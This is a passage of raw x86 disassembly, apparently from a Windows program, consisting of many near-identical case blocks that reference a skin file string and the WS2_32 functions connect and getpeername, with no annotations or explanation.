mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45dfdb
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45dffa
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e01d
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x22
jne 0x45e0b0
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e069
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e088
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e0ab
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x23
jne 0x45e13e
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e0f7
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e116
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e139
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x24
jne 0x45e1cc
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e185
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e1a4
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e1c7
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x25
jne 0x45e25a
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e213
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e232
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e255
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x26
jne 0x45e2e8
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e2a1
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e2c0
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e2e3
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x27
jne 0x45e376
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e32f
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e34e
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e371
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x28
jne 0x45e404
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e3bd
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e3dc
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e3ff
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x29
jne 0x45e492
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e44b
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e46a
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e48d
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x2a
jne 0x45e520
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e4d9
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e4f8
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e51b
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x2b
jne 0x45e5ae
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e567
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e586
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e5a9
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x2c
jne 0x45e63c
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e5f5
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e614
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e637
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x2d
jne 0x45e6ca
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e683
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e6a2
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e6c5
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x2e
jne 0x45e758
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e711
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e730
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e753
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x2f
jne 0x45e7e6
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e79f
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e7be
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e7e1
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x30
jne 0x45e874
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e82d
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e84c
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e86f
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x31
jne 0x45e902
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e8bb
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e8da
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e8fd
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x32
jne 0x45e990
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e949
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e968
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45e98b
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x33
jne 0x45ea1e
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45e9d7
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45e9f6
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ea19
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x34
jne 0x45eaac
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45ea65
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45ea84
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45eaa7
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x35
jne 0x45eb3a
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45eaf3
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45eb12
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45eb35
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x36
jne 0x45ebc8
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45eb81
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45eba0
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ebc3
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x37
jne 0x45ec56
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45ec0f
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45ec2e
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ec51
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x38
jne 0x45ece4
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45ec9d
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45ecbc
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ecdf
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x39
jne 0x45ed72
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45ed2b
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45ed4a
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ed6d
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x3a
jne 0x45ee00
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45edb9
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45edd8
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45edfb
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x3b
jne 0x45ee8e
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45ee47
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45ee66
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ee89
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x3c
jne 0x45ef1c
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45eed5
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45eef4
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45ef17
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x3d
jne 0x45efaa
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45ef63
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45ef82
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45efa5
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x3f
jne 0x45f038
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45eff1
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f010
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f033
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x3e
jne 0x45f0c6
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f07f
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f09e
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f0c1
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x40
jne 0x45f154
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f10d
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f12c
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f14f
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x41
jne 0x45f1e2
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f19b
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f1ba
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f1dd
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x42
jne 0x45f270
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f229
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f248
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f26b
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x43
jne 0x45f2fe
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f2b7
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f2d6
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f2f9
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x44
jne 0x45f38c
push 0
mov ebx, 0x6b8b20
call fcn.006b8490
add esp, 4
mov dword [ebp - 8], eax
push str._skinh.she
push dword [ebp - 8]
mov ecx, 2
call fcn.0040122d
add esp, 8
mov dword [ebp - 0xc], eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x45f345
push ebx
call fcn.006b847e
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
push 0x7f4f8e
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x45f364
mov eax, 0x7f4ecd
push eax
push 2
mov ebx, 0x6bbbb0
call fcn.006b8490
add esp, 0x1c
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x45f387
push ebx
call fcn.006b847e
add esp, 4
jmp 0x45f6db
cmp dword [ebp - 4], 0x45
jne 0x45f41a
